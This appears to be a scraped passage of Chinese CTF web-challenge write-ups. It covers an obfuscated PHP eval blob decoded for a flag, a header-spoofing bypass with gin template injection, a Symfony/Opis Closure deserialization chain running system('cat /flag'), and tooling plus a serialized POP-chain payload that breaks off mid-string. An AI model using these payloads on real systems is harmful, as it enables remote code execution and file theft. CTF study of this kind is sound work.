aE5OVnpEUHZoYmNWMHFqbUdwYjN1WHpFTWVTRTA3anZCWnoyclNzSzBaaEJrUVBtajBOS3p6Q2dodk5vOTRVd2hiY2lTenllaGFiQnpUczBZcUhGaHZObzk0VXdoYmNEanpDZ2h2Tm85NFV3aGJjS0d6Q2dodk5vOTRVd2hiY0RCekNnaHZObzk0VXdoYmNER3pDZ2h2Tm85NFV3aGJjS1d6Q2dodk5vOTRVd2hiY0tqekNnaHZObzk0VXdoYmNLVnpDZ2h2Tm85NFV3aGJjREd6Q2dodk5vOTRVd2hiY0tXenkyVjJPTkFUanYxcVYydWlGWFlnRlp6cHMxVnFzRGhHUERXa1ZOYTRpMmhJY2loQmJOdW5zWlZwc3ZoRUZCekZjc0d1czF1WnpWa2RjTEJnaEJqTnNpVzBob0VMR3YxQlZvcnJWaVN5UEVFTlVaYVpObWprczB6TnBFenZHZGpnYzFmMXMxek1SQlpyaW81R1ZzRzRPREVGT1ZWRUd2ckZWTGhKVm1zcnMyU2RTVmpOY0JrS3NaR01oRWhJTndrWmNEbTJWMEdwY0JTZFJ2Qk5ORU8wczI1dHN2RWRzRGpoVnZySnMyNU5WMmp2VkJTRFZCanZPMmFNVTJjQXlza2dwM2hmTzFWdHB2U0xpRFNOVm1acmlzenZzMDlPUkVHRmNzamRPRFd0cDJqRWNMQmlWS1Zjc0RTdlUxQk9ob2twYlo1NXMxUjFibTFuYmRFc05FR2pPVkdORkVaZVNOdVpjM1dLTm9ydEZvVnFpd0JpVlo1Y3NaUjFSVmpWR0VFeWhMaGZWc2hGaUJmclV3RUZORUdlc2lqTnMyU05pWkdOY3ZyQVZCVjRjRWpNVkxCR2MzV3ZPMmEwUjJWRUZvYWhjZGhhVm9heXB2aE5VQmtOVk5oMUdKVzBGRWpzaEJHVnAyYTNzMk00U05FSXptdWdiTFd2c0RFV2N2amRObzlnaExoYVZvYXlpdmhPUmRTaWNCa0xzaVcwYlZHSWlacnBiZFdrc0JHTWhFVEFWQldTVnNreUdFelRwMVNmaGlWWk5FamhHbUdORnMwclJkV0dWMWt5VkV6NHp2am5HdjFMVkJrbXNLanBWMW1BenYxTnAwNWNOb3JwaEVjS1ZCRXVic1Y1VnNWcEYxVUtoREdpYlpra09vMTRGRVNkR3Z1U2J2UzVzMXVFU05FRVZCV2lWMnJ2c0RFWnAxU2ZoaVZaTkVqaEdtR05GczByUmRXR1Yxa3lWRXo0enZFbUd2MUxWQmttc0tqcFYxbUF6djFOcDA1SE5CekZoRWNlTkJ6aGNkaGFWb2F5aXZoVnBkVnNORUdoc29yTk5CR01iRUVTYm1mMk8za2pTVkdFemR1WmgycmNzWlZNT1ZVZVNOcnBjZGg0TkRqdEZzMXFod0VpY0VqdE9WR05zRU9BaUJqU3BCanFzS1NaU29qRXp2MU5wMDVjR0VoWFIxa01iRXpoY2RoYVYyYXRpQlVBcEpHaXBLQmVzaVdOaVZWZFJka1NjMWprVkJoamNFbWVWQmhaaEVUMFZEajBVMUdOaFprWmJFR3BzaWp0YlZ6Tk5aaGljQmt1aURqcE5CR0lpWnJwYkVrbXNLanBWMW1laEJTVmhtanlPMmFUUlZjZU5aNVpjMDU1Tk5rTlNtMU5SbXJOYzBzMVYwVkFzb2h2c3dqVmh2dW5OVmhFU1ZzZXptak5wMGtlc1ZHQWkyRTZGd3VWTnZ1NU9va05TdlNhU0pFQkZtazFpQnVUUE5qbmJtQlZjM1dLc0tqcFYxbUF6SkVTaDN1SE5Cemh5c0JuenZyWmJzR0tGMFNEQzFXa08zVnRoS0UxVkRqVFZFU0pHMmFOYnZyT05pU1RwMGFKc291cGJFT2VWREVoYjBrZE5CU1ZiQmYwTkxCM3AyRUxzRFNnaGlFc0Yya2pSbXJKc291cGJFT2VWREVoYjBrZE5CU1ZiQmYwTkxCM3AyRUxzRFNnaGlFc2ltU0ZSRWtmR2RTc1ZaMUFpbVNGcEVrTVZEak5jVkVRRlp6cHMxVnFzRGhHUEx6M2ltU0ZSRWtmR2RTc1ZaMUFGMVNJUm05M0hpMGd0Rlo3SEs0PSI7ZXZhbCgnPz4nLiRhckNpQ0woJFZ2VXJCWigkREVvbUtrKCRWQ0JaUVcsJExucG52WSoyKSwkREVvbUtrKCRWQ0JaUVcsJExucG52WSwkTG5wbnZZKSwkREVvbUtrKCRWQ0JaUVcsMCwkTG5wbnZZKSkpKTs=\u0026#34;));?\u0026gt; 硬解 eval变echo的 差不多解个6层\n最后可以getflag\nflag:\ncazy{PHP_ji4m1_1s_s00000_3aSyyyyyyyyyyy} ","date":"2022-01-13T13:23:41+08:00","image":"https://or4ngesec.github.io/post/cazy-writeup-by-or4nge/cover_hu2ef483a7301ed58558e75f3e1747bee2_206467_120x120_fill_box_smart1_3.png","permalink":"https://or4ngesec.github.io/post/cazy-writeup-by-or4nge/","title":"长安战“疫” Writeup"},{"content":"Web loginme 第一步绕过本地验证，x-forwarded-for 和 client-ip 被过滤了，X-Real-IP:127.0.0.1 绕过\n第二步是 gin 的模板注入，让 id 为一个不存在的值，age 为 {{.Password}} 就可以获得 admin 结构体中的 Password 变量值了。\nhttp://124.71.166.197:18001/admin/index?id=5\u0026amp;age={{.Password}}\nUpload_it 可以任意上传 /tmp 目录下文件， 可以直接写进 session 文件。查看 phpinfo 发现 session 的处理器是 php，于是可以把 upload_path|$serialize 写进 /tmp/sess_or4nge，然后改自己的 session_id 为 or4nge，即可触发反序列化。\n利用给的 Composer.json：\n\u0026#34;symfony/string\u0026#34;: \u0026#34;^5.3\u0026#34;, \u0026#34;opis/closure\u0026#34;: \u0026#34;^3.6\u0026#34; 结合出题人发布的文章 https://www.anquanke.com/post/id/217929#h2-3 找到一条链，其中 lazystring 的任意无参数函数调用接的是闭包函数 __invoke，可以将闭包函数序列化进去。\n\u0026lt;?php namespace Symfony\\Component\\String{ require \u0026#34;path\\to\\autoload.php\u0026#34;; class LazyString{ private $value; public function __construct() { $func = function(){system(\u0026#34;cat /flag\u0026#34;);}; $d = new \\Opis\\Closure\\SerializableClosure($func); $this-\u0026gt;value = $d; } } class UnicodeString{ protected $string = \u0026#39;\u0026#39;; public function __construct() { $this-\u0026gt;string=new LazyString; } } } namespace { $exp=print(urlencode(serialize(new Symfony\\Component\\String\\UnicodeString()))); } 其实这条链本地没有打通，原因是因为在 UnicodeString.php 里，对 $this-\u0026gt;string 进行了限制\npublic function __wakeup() { if (!\\is_string($this-\u0026gt;string)) { throw new \\BadMethodCallException(\u0026#39;Cannot unserialize \u0026#39;.__CLASS__); } normalizer_is_normalized($this-\u0026gt;string) ?: $this-\u0026gt;string = normalizer_normalize($this-\u0026gt;string); } 但是猜到出题人以前发布过，直接盲打过去，RCE 成功。\nupload_path|O%3A38%3A%22Symfony%5CComponent%5CString%5CUnicodeString%22%3A1%3A%7Bs%3A9%3A%22%00%2A%00string%22%3BO%3A35%3A%22Symfony%5CComponent%5CString%5CLazyString%22%3A1%3A%7Bs%3A42%3A%22%00Symfony%5CComponent%5CString%5CLazyString%00value%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A196%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A32%3A%22function%28%29%7Bsystem%28%22cat+%2Fflag%22%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A35%3A%22Symfony%5CComponent%5CString%5CLazyString%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%2200000000034bf950000000005225a861%22%3B%7D%7D%7D%7D FUMO_on_the_Christmas_tree 强网杯 pop_master 魔改的题\n首先是对 __invoke 和 __call 的魔术方法的类进行改写，全部能改写为正常的形式：\nimport re from base64 import b64decode def erase_call(FILEIN, FILEOUT): fp = open(FILEIN, \u0026#39;rb\u0026#39;) fo = open(FILEOUT, \u0026#39;wb\u0026#39;) FILE = [_.decode().replace(\u0026#39;\\n\u0026#39;, \u0026#39;\u0026#39;) for _ in fp.readlines()] i = 0 while i \u0026lt; len(FILE): line = FILE[i] if \u0026#39;__call\u0026#39; in line: l1, l2 = FILE[i + 1], FILE[i + 2] use_func = re.search(r\u0026#39;extract\\(\\[\\$name =\u0026gt; \\\u0026#39;(.*)\\\u0026#39;\\]\\);\u0026#39;, l1)[1] pattern = re.search(r\u0026#39;if \\(is\\_callable\\(\\[\\$this\\-\\\u0026gt;(.*)\\, \\$(.*)\\]\\)\\)\u0026#39;, l2) obj_name, func_name = pattern[1], pattern[2] new_code = [] new_code.append(\u0026#39; public function %s($value) {\\n\u0026#39; % func_name) new_code.append(\u0026#39; if (is_callable([$this-\u0026gt;%s, %s])) @$this-\u0026gt;%s-\u0026gt;%s($value);\\n\u0026#39; % (obj_name, use_func, obj_name, use_func)) new_code.append(\u0026#39; }\\n\u0026#39;) for j in new_code: fo.write(j.encode()) i += 4 else: fo.write((line + \u0026#39;\\n\u0026#39;).encode()) i += 1 fp.close() fo.close() def erase_invoke(FILEIN, FILEOUT): fp = open(FILEIN, \u0026#39;rb\u0026#39;) fo = open(FILEOUT, \u0026#39;wb\u0026#39;) FILE = [_.decode().replace(\u0026#39;\\n\u0026#39;, \u0026#39;\u0026#39;) for _ in fp.readlines()] i = 0 while i \u0026lt; len(FILE): line = FILE[i] if \u0026#39;@call_user_func\u0026#39; in line: pattern = re.search(r\u0026#39;call_user_func\\(\\$this\\-\\\u0026gt;(.*)\\, \\[\\\u0026#39;(.*)\\\u0026#39; \\=\\\u0026gt; \\$(.*)\\]\\);\u0026#39;, line) # print(pattern) obj_name, use_func, func_para = pattern[1], pattern[2], pattern[3] # print(obj_name, use_func, func_para) new_code = \u0026#34; if (is_callable([$this-\u0026gt;%s, \u0026#39;%s\u0026#39;])) @$this-\u0026gt;%s-\u0026gt;%s(%s);\\n\u0026#34; % (obj_name, use_func, obj_name, use_func, func_para) fo.write(new_code.encode()) elif \u0026#34;__invoke\u0026#34; in line: l1, l2 = FILE[i + 1], FILE[i + 2] key = re.search(r\u0026#39;\\$key = base64_decode\\(\\\u0026#39;(.*)\\\u0026#39;\\);\u0026#39;, l1)[1] key = b64decode(key.encode()).decode() pattern = re.search(r\u0026#39;\\$this\\-\\\u0026gt;(.*)\\-\\\u0026gt;(.*)\\(\\$value\\[\\$key\\]\\);\u0026#39;, l2) try: obj_name, use_func = pattern[1], pattern[2] except: print(line) print(l1) print(l2) new_code = [] new_code.append(\u0026#39; public function %s($value) {\\n\u0026#39; % key) new_code.append(\u0026#39; if (is_callable([$this-\u0026gt;%s, %s])) @$this-\u0026gt;%s-\u0026gt;%s($value);\\n\u0026#39; % (obj_name, use_func, obj_name, use_func)) new_code.append(\u0026#39; }\\n\u0026#39;) for j in new_code: fo.write(j.encode()) i += 3 else: fo.write((line + \u0026#39;\\n\u0026#39;).encode()) i += 1 fp.close() fo.close() erase_invoke(\u0026#39;class.code.txt\u0026#39;, \u0026#39;mid_class.txt\u0026#39;) erase_call(\u0026#39;mid_class.txt\u0026#39;, \u0026#39;final_class.txt\u0026#39;) 在最终代码里手动把 namespace christmasTree 里去掉，之后进行 PHP_Paser 对这份代码进行语法树构建分析：\n\u0026lt;?php ini_set(\u0026#39;memory_limit\u0026#39;, \u0026#39;1024M\u0026#39;); require \u0026#39;path\\to\\autoload.php\u0026#39;; error_reporting(0); use PhpParser\\Error; //use to catch error use PhpParser\\NodeDumper; //use to read node use PhpParser\\ParserFactory; //use to anlaysis code use PhpParser\\PrettyPrinter; $inputPhpFile = \u0026#39;final_class.txt\u0026#39;; $code = file_get_contents($inputPhpFile); $parser = (new ParserFactory)-\u0026gt;create(ParserFactory::PREFER_PHP7); try { $stmts = $parser-\u0026gt;parse($code); } catch (Error $e) { echo \u0026#34;Parse error:{$e-\u0026gt;getMessage()}\\n\u0026#34;; exit(0); } echo \u0026#34;[+] get file done\\n\u0026#34;; $deleteCnt = 0; $deleteCla = 0; $nodeDumper = new NodeDumper; $class_num = 0; $func_list = array(); $fp = fopen(\u0026#34;function_list.txt\u0026#34;, \u0026#34;wb\u0026#34;); $fo = fopen(\u0026#34;deploy_list.txt\u0026#34;, \u0026#34;wb\u0026#34;); $fd = fopen(\u0026#34;destination.txt\u0026#34;, \u0026#34;wb\u0026#34;); foreach ($stmts as $k =\u0026gt; $class_point) { if ($class_point-\u0026gt;gettype() === \u0026#39;Stmt_Nop\u0026#39;) continue; if ($class_point-\u0026gt;gettype() === \u0026#39;Stmt_Class\u0026#39;){ $class_name = $class_point-\u0026gt;name-\u0026gt;name; $class_num++; foreach ($class_point-\u0026gt;stmts as $kk =\u0026gt; $subpoint) { if ($subpoint-\u0026gt;gettype() === \u0026#39;Stmt_Nop\u0026#39;) continue; if ($subpoint-\u0026gt;gettype() === \u0026#39;Stmt_Property\u0026#39;) { ; } if ($subpoint-\u0026gt;gettype() === \u0026#34;Stmt_ClassMethod\u0026#34;) { $func_name = $subpoint-\u0026gt;name-\u0026gt;name; if ($func_name === \u0026#39;__destruct\u0026#39;) { $entrance = $class_name; break; } if (!$subpoint-\u0026gt;params) { continue; } $parms = $subpoint-\u0026gt;params[0]-\u0026gt;var-\u0026gt;name; fwrite($fp, $class_name.\u0026#39; \u0026#39;.$func_name.\u0026#34;\\n\u0026#34;); $pass_way = \u0026#34;pass\u0026#34;; foreach ($subpoint-\u0026gt;stmts as $kkk =\u0026gt; $method_point) { if ($method_point-\u0026gt;gettype() === \u0026#39;Stmt_Expression\u0026#39;) { $assign_1 = $method_point-\u0026gt;expr-\u0026gt;expr-\u0026gt;var-\u0026gt;name; $use_func = $method_point-\u0026gt;expr-\u0026gt;expr-\u0026gt;expr-\u0026gt;name-\u0026gt;parts[0]; $assign_2 = $method_point-\u0026gt;expr-\u0026gt;expr-\u0026gt;expr-\u0026gt;args[0]-\u0026gt;value-\u0026gt;name; if($use_func === null) { $assign_2 = $method_point-\u0026gt;expr-\u0026gt;expr-\u0026gt;expr-\u0026gt;name; $use_func = \u0026#34;pass\u0026#34;; } else { $func_list[$use_func] = 1; } if($assign_1 !== $assign_2) break; $pass_way = $use_func; if(in_array($pass_way, array(\u0026#34;sha1\u0026#34;, \u0026#34;md5\u0026#34;, \u0026#34;crypt\u0026#34;))) { break; } } else if($method_point-\u0026gt;gettype() === \u0026#39;Stmt_If\u0026#39;) { if ($method_point-\u0026gt;stmts[0]-\u0026gt;expr-\u0026gt;name-\u0026gt;parts[0] == \u0026#34;readfile\u0026#34;) { fwrite($fd, $class_name.\u0026#39; \u0026#39;.$func_name.\u0026#39; \u0026#39;.$parms.\u0026#34;\\n\u0026#34;); break; } $use_obj = $method_point-\u0026gt;stmts[0]-\u0026gt;expr-\u0026gt;expr-\u0026gt;var-\u0026gt;name-\u0026gt;name; $use_func = $method_point-\u0026gt;stmts[0]-\u0026gt;expr-\u0026gt;expr-\u0026gt;name-\u0026gt;name; fwrite($fo, $class_name.\u0026#39; \u0026#39;.$func_name.\u0026#39; \u0026#39;.$use_obj.\u0026#34; \u0026#34;.$use_func.\u0026#34; \u0026#34;.$pass_way.\u0026#34;\\n\u0026#34;); } } } } } } echo \u0026#39;[+] filter done\u0026#39; . \u0026#34;\\n\u0026#34;; echo $entrance; fclose($fp); fclose($fo); 构建把所有类的名称，函数，终点的类的函数，以及函数调用关系分别存储起来。 其中有一些污点过滤，比如 md5, sha1, ucfirst, crypt 的调用直接无视，赋值两边参数不等的也直接无视，另外发现 base64 解码的时候出现的不可见字符也会对后面产生影响，故把所有进行 base64_decode 部分全部剪掉。\n然后手动加一下 __destruct 在文件里，把这三个文件放在一起，然后用C语言寻找可行链。\n#include\u0026lt;bits/stdc++.h\u0026gt; using namespace std; #define mem(a,b) memset(a,b,sizeof(a)) typedef long long LL; typedef pair\u0026lt;string, string\u0026gt; PII; #define X first #define Y second inline int read() { int x = 0, f = 1; char c = getchar(); while(!isdigit(c)){if(c == \u0026#39;-\u0026#39;)f = -1;c = getchar();} while(isdigit(c)){x = x * 10+ c-\u0026#39;0\u0026#39;; c = getchar();} return x * f; } const int maxn = 20010; struct Edge { int u, v, next; PII w; Edge(){} Edge(int _1, int _2, int _3, string _4, string _5): u(_1), v(_2), next(_3) { w = make_pair(_4,_5); } }e[maxn\u0026lt;\u0026lt;4]; int first[maxn], ce = -1, tot, tag[maxn]; string name[maxn], func[maxn], use[maxn]; struct Class { string name, func; Class() {} Class(string _1, string _2):name(_1), func(_2) {}\tbool operator \u0026lt; (const Class \u0026amp;s)const{ if(name == s.name){ return func \u0026lt; s.func; } return name \u0026lt; s.name; } }a[maxn]; int pre[maxn], n; PII prew[maxn]; void addEdge(int a,int b, string c,string d) { e[++ce] = Edge(a, b, first[a], c, d); first[a] = ce; }\tmap\u0026lt;Class, int\u0026gt; M; int match(Class A,string use_func, string use_obj, string pass) { for (int i = 1; i \u0026lt;= n; i++) { if (M[A] == i) continue; if (use_func == a[i].func) { addEdge(M[A], M[a[i]], use_obj, pass); } } } bool vis[maxn]; int count_chain; void dfs(int now, int fa) { vis[now] = 1; if (tag[now]) { count_chain ++; int tmp = now; cout \u0026lt;\u0026lt; a[tmp].name \u0026lt;\u0026lt; \u0026#39; \u0026#39; \u0026lt;\u0026lt; a[tmp].func \u0026lt;\u0026lt; endl; string use_obj = prew[tmp].X, pass_way = prew[tmp].Y; tmp = pre[tmp]; while(tmp != -1) { cout \u0026lt;\u0026lt; a[tmp].name \u0026lt;\u0026lt; \u0026#39; \u0026#39; \u0026lt;\u0026lt; a[tmp].func \u0026lt;\u0026lt; \u0026#39; \u0026#39; \u0026lt;\u0026lt; use_obj \u0026lt;\u0026lt; \u0026#39; \u0026#39; \u0026lt;\u0026lt; pass_way \u0026lt;\u0026lt; endl; use_obj = prew[tmp].X, pass_way = prew[tmp].Y; tmp = pre[tmp]; } cout \u0026lt;\u0026lt; endl; return; } for (int i = first[now]; i != -1; i = e[i].next) { if(e[i].v != fa \u0026amp;\u0026amp; !vis[e[i].v]) { if(e[i].w.Y == \u0026#34;base64_encode\u0026#34;)continue; if(e[i].w.Y == \u0026#34;ucfirst\u0026#34;)continue; pre[e[i].v] = now; prew[e[i].v] = e[i].w; dfs(e[i].v, now); } } } int main() { mem(first, -1); freopen(\u0026#34;data.txt\u0026#34;, \u0026#34;rb\u0026#34;, stdin); freopen(\u0026#34;ans.txt\u0026#34;, \u0026#34;w\u0026#34;, stdout); int start = 1; n = read(); string params; for (int i = 1; i \u0026lt;= n; i++) { cin \u0026gt;\u0026gt; name[i] \u0026gt;\u0026gt; func[i]; a[i] = Class(name[i], func[i]); M[a[i]] = i; } int m = read(); for(int i=1;i\u0026lt;=m;i++){ string class_name, func_name, use_obj, use_func, pass_way; cin \u0026gt;\u0026gt; class_name \u0026gt;\u0026gt; func_name \u0026gt;\u0026gt; use_obj \u0026gt;\u0026gt; use_func \u0026gt;\u0026gt; pass_way;//$class_name.\u0026#39; \u0026#39;.$func_name.\u0026#39; \u0026#39;.$use_obj.\u0026#34; \u0026#34;.$use_func.\u0026#34; \u0026#34;.$pass_way int id = 1; for (int j = 1; j \u0026lt;= n; j++) if (class_name == name[j] \u0026amp;\u0026amp; func_name == func[j]) { id = j; break; } match(a[id], use_func, use_obj, pass_way); } int o = read(); for (int i = 1; i \u0026lt;= o; i++) { string x, y, z; cin \u0026gt;\u0026gt; x \u0026gt;\u0026gt; y \u0026gt;\u0026gt; z; int id = 0; for (int j = 1; j \u0026lt;= n; j++) if(x == name[j] \u0026amp;\u0026amp; y == func[j]) { id=j; break; } if(id==0)cout\u0026lt;\u0026lt;x\u0026lt;\u0026lt;\u0026#39; \u0026#39;\u0026lt;\u0026lt;y\u0026lt;\u0026lt;endl; tag[id] = 1; } pre[start] = -1; dfs(start, -1); cout\u0026lt;\u0026lt;count_chain; return 0; } 刚好只有一条可行链，倒序打印链：\nAN9pNsmlT Fhh5TZoD0 Ugh4SYk00D bLqi60vf tQF7ER str_rot13 xEFW8yw08 gvgCPyi nYuAuh2 str_rot13 Xl5V1fEbzD Z5G5uz fgVgm4TV97 pass d9vgRnlEA trZx9DLGq T4rUU9R base64_decode Ronyv7u Uaxr3XOrz uDQ0ehd4p strrev T6Y5QYS GP5h5gz p9mwE7l str_rot13 SKVnfvfbas gkbXYD UOvWbl pass o5d0ioNZ vBmg2S exGoDOPm str_rot13 FK0LfIlrxm uxVcfoc gZ9IzdbF6T pass eHSt3I5L30 YbMfp8D9 exoEH1 pass c76So3oF EttYcl6 cwQWOIEL strrev u1q3m04qZb EtQ6pQB NGIlAGGLv pass xT506K QiVLzL Dblxvn pass p6NArTi YgmXN30 VbpsE7wqUH base64_decode ezlgUUHCdQ lwUpo3 fDViVU pass uGnuU5pGgQ cc60Kte4Em XbW5o6yiGv base64_decode GGcIkQ6E a2l0Eeqr CK5OgoyC strrev vS1qenzGWr kR5Y66g yrVWMn9 pass amg2Vw __destruct PCR49GlRM pass 根据上述链的写脚本构造 poc：\nfp = open(\u0026#39;popchain.txt\u0026#39;, \u0026#39;r\u0026#39;) fo = open(\u0026#39;poc.php\u0026#39;, \u0026#39;w\u0026#39;) fo.write(\u0026#39;\u0026lt;?php\\nnamespace christmasTree{\\n\u0026#39;) line_list = [] for line in fp.readlines(): line = line.replace(\u0026#39;\\n\u0026#39;, \u0026#39;\u0026#39;) line_list.append(line) line_list = line_list[::-1] for i, line in enumerate(line_list[:-1]): class_name, func_name, use_obj, _ = line.split(\u0026#39; \u0026#39;) if i == 0: start_point = class_name next_name = line_list[i + 1].split(\u0026#39; \u0026#39;)[0] print(class_name, func_name, use_obj, next_name) payload = \u0026#39;\u0026#39;\u0026#39;class %s{ public $%s; public function __construct(){ $this-\u0026gt;%s = new %s(); } } \u0026#39;\u0026#39;\u0026#39; % (class_name, use_obj, use_obj, next_name) fo.write(payload + \u0026#39;\\n\u0026#39;) class_name, func_name = line_list[-1].split(\u0026#39; \u0026#39;) payload = \u0026#39;\u0026#39;\u0026#39;class %s{ public $%s; } \u0026#39;\u0026#39;\u0026#39; % (class_name, use_obj) fo.write(payload + \u0026#39;\\necho urlencode(serialize(new %s()));}\u0026#39; % start_point) print(class_name, func_name) 生成的 poc 不能直接打通，因为要求类内所有 public 属性都要进行赋值，对生成的 poc 还需要手动修改，对未利用的对象赋为 stdClass() 最终的poc：\n\u0026lt;?php namespace christmasTree{ class amg2Vw{ public $PCR49GlRM; public function __construct(){ $this-\u0026gt;PCR49GlRM = new vS1qenzGWr(); } } class vS1qenzGWr{ public $yrVWMn9; public $S839pvNRU; public function __construct(){ $this-\u0026gt;yrVWMn9 = new GGcIkQ6E(); $this-\u0026gt;S839pvNRU = new \\stdClass(); } } class GGcIkQ6E{ public $CK5OgoyC; public $Vkyud3; public function __construct(){ $this-\u0026gt;CK5OgoyC = new uGnuU5pGgQ(); $this-\u0026gt;Vkyud3 = new \\stdClass(); } } class uGnuU5pGgQ{ public $XbW5o6yiGv; public $XEH9BQ; public function __construct(){ $this-\u0026gt;XbW5o6yiGv = new ezlgUUHCdQ(); $this-\u0026gt;XEH9BQ = new \\stdClass(); } } class ezlgUUHCdQ{ public $fDViVU; public function __construct(){ $this-\u0026gt;fDViVU = new p6NArTi(); } } class p6NArTi{ public $VbpsE7wqUH; public $yKwNrpRAQ; public function __construct(){ $this-\u0026gt;VbpsE7wqUH = new xT506K(); $this-\u0026gt;yKwNrpRAQ = new \\stdClass(); } } class xT506K{ public $Dblxvn; public $sPEbogX4; public function __construct(){ $this-\u0026gt;Dblxvn = new u1q3m04qZb(); $this-\u0026gt;sPEbogX4 = new \\stdClass(); } } class u1q3m04qZb{ public $NGIlAGGLv; public function __construct(){ $this-\u0026gt;NGIlAGGLv = new c76So3oF(); } } class c76So3oF{ public $cwQWOIEL; public $rHYG3Wr; public function __construct(){ $this-\u0026gt;cwQWOIEL = new eHSt3I5L30(); $this-\u0026gt;rHYG3Wr = new \\stdClass(); } } class eHSt3I5L30{ public $exoEH1; public $UO4yLd; public function __construct(){ $this-\u0026gt;exoEH1 = new FK0LfIlrxm(); $this-\u0026gt;UO4yLd = new \\stdClass(); } } class FK0LfIlrxm{ public $gZ9IzdbF6T; public $Q7mg44bg; public function __construct(){ $this-\u0026gt;gZ9IzdbF6T = new o5d0ioNZ(); $this-\u0026gt;Q7mg44bg = new \\stdClass(); } } class o5d0ioNZ{ public $exGoDOPm; public $TEODq2c3Uo; public function __construct(){ $this-\u0026gt;exGoDOPm = new SKVnfvfbas(); $this-\u0026gt;TEODq2c3Uo = new \\stdClass(); } } class SKVnfvfbas{ public $UOvWbl; public $m4pnFndZoX; public function __construct(){ $this-\u0026gt;UOvWbl = new T6Y5QYS(); $this-\u0026gt;m4pnFndZoX = new \\stdClass(); } } class T6Y5QYS{ public $p9mwE7l; public $aysl2yR5g; public function __construct(){ $this-\u0026gt;p9mwE7l = new Ronyv7u(); $this-\u0026gt;aysl2yR5g = new \\stdClass(); } } class Ronyv7u{ public $uDQ0ehd4p; public $uqkULP0XD; public function __construct(){ $this-\u0026gt;uDQ0ehd4p = new d9vgRnlEA(); $this-\u0026gt;uqkULP0XD = new \\stdClass(); } } class d9vgRnlEA{ public $T4rUU9R; public function __construct(){ $this-\u0026gt;T4rUU9R = new Xl5V1fEbzD(); } } class Xl5V1fEbzD{ public $fgVgm4TV97; public function __construct(){ $this-\u0026gt;fgVgm4TV97 = new xEFW8yw08(); } } class xEFW8yw08{ public $nYuAuh2; public function __construct(){ $this-\u0026gt;nYuAuh2 = new Ugh4SYk00D(); } } class Ugh4SYk00D{ public $tQF7ER; public function __construct(){ $this-\u0026gt;tQF7ER = new AN9pNsmlT(); } } class AN9pNsmlT{ public $Ipz7D3; public function __construct(){ $this-\u0026gt;Ipz7D3 = new \\stdClass(); } } echo urlencode(serialize(new amg2Vw()));} 同时对pop链中的所有编码过程进行逆向，得到最终要进行读 /fumo 的编码结果：\n\u0026lt;?php $fp = fopen(\u0026#34;popchain.txt\u0026#34;, \u0026#34;r\u0026#34;); $payload = \u0026#39;/fumo\u0026#39;; $line = fgets($fp); $list = array(); while(! feof($fp)) { $line = fgets($fp);//fgets()函数从文件指针中读取一行 array_push($list, trim($line)); $line = trim(explode(\u0026#34; \u0026#34;,$line)[3]); echo $line.\u0026#34;\\n\u0026#34;; if($line === \u0026#34;pass\u0026#34;) { continue; } else if($line === \u0026#34;base64_decode\u0026#34;) { $payload = base64_encode($payload); } else if($line === \u0026#34;ucfirst\u0026#34;) { continue; } else if($line === \u0026#34;strrev\u0026#34;) { $payload = strrev($payload); } else if($line === \u0026#34;str_rot13\u0026#34;) { $payload = str_rot13($payload); } } echo $payload.\u0026#34;\\n\u0026#34;; $list = array_reverse($list); foreach($list as $line){ $line = explode(\u0026#34; \u0026#34;,$line)[3]; if($line === \u0026#34;pass\u0026#34;) { continue; } else if($line === \u0026#34;base64_decode\u0026#34;) { $payload = base64_decode($payload); } else if($line === \u0026#34;ucfirst\u0026#34;) { continue; } else if($line === \u0026#34;strrev\u0026#34;) { $payload = strrev($payload); } else if($line === \u0026#34;str_rot13\u0026#34;) { $payload = str_rot13($payload); } } echo $payload; fclose($fp); 最终序列化链：\nO%3A20%3A%22christmasTree%5Camg2Vw%22%3A1%3A%7Bs%3A9%3A%22PCR49GlRM%22%3BO%3A24%3A%22christmasTree%5CvS1qenzGWr%22%3A2%3A%7Bs%3A7%3A%22yrVWMn9%22%3BO%3A22%3A%22christmasTree%5CGGcIkQ6E%22%3A2%3A%7Bs%3A8%3A%22CK5OgoyC%22%3BO%3A24%3A%22christmasTree%5CuGnuU5pGgQ%22%3A2%3A%7Bs%3A10%3A%22XbW5o6yiGv%22%3BO%3A24%3A%22christmasTree%5CezlgUUHCdQ%22%3A1%3A%7Bs%3A6%3A%22fDViVU%22%3BO%3A21%3A%22christmasTree%5Cp6NArTi%22%3A2%3A%7Bs%3A10%3A%22VbpsE7wqUH%22%3BO%3A20%3A%22christmasTree%5CxT506K%22%3A2%3A%7Bs%3A6%3A%22Dblxvn%22%3BO%3A24%3A%22christmasTree%5Cu1q3m04qZb%22%3A1%3A%7Bs%3A9%3A%22NGIlAGGLv%22%3BO%3A22%3A%22christmasTree%5Cc76So3oF%22%3A2%3A%7Bs%3A8%3A%22cwQWOIEL%22%3BO%3A24%3A%22christmasTree%5CeHSt3I5L30%22%3A2%3A%7Bs%3A6%3A%22exoEH1%22%3BO%3A24%3A%22christmasTree%5CFK0LfIlrxm%22%3A2%3A%7Bs%3A10%3A%22gZ9IzdbF6T%22%3BO%3A22%3A%22christmasTree%5Co5d0ioNZ%22%3A2%3A%7Bs%3A8%3A%22exGoDOPm%22%3BO%3A24%3A%22christmasTree%5CSKVnfvfbas%22%3A2%3A%7Bs%3A6%3A%22UOvWbl%22%3BO%3A21%3A%22christmasTree%5CT6Y5QYS%22%3A2%3A%7Bs%3A7%3A%22p9mwE7l%22%3BO%3A21%3A%22christmasTree%5CRonyv7u%22%3A2%3A%7Bs%3A9%3A%22uDQ0ehd4p%22%3BO%3A23%3A%22christmasTree%5Cd9vgRnlEA%22%3A1%3A%7Bs%3A7%3A%22T4rUU9R%22%3BO%3A24%3A%22christmasTree%5CXl5V1fEbzD%22%3A1%3A%7Bs%3A10%3A%22fgVgm4TV97%22%3BO%3A23%3A%22christmasTree%5CxEFW8yw08%22%3A1%3A%7Bs%3A7%3A%22nYuAuh2%22%3BO%3A24%3A%22christmasTree%5CUgh4SYk00D%22%3A1%3A%7Bs%3A6%3A%22tQF7ER%22%3BO%3A23%3A%22christmasTree%5CAN9pNsmlT%22%3A1%3A%7Bs%3A6%3A%22Ipz7D3%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7D%7D%7D%7Ds%3A9%3A%22uqkULP0XD%22%3BO%3A8%3A%22stdClass%22%3A0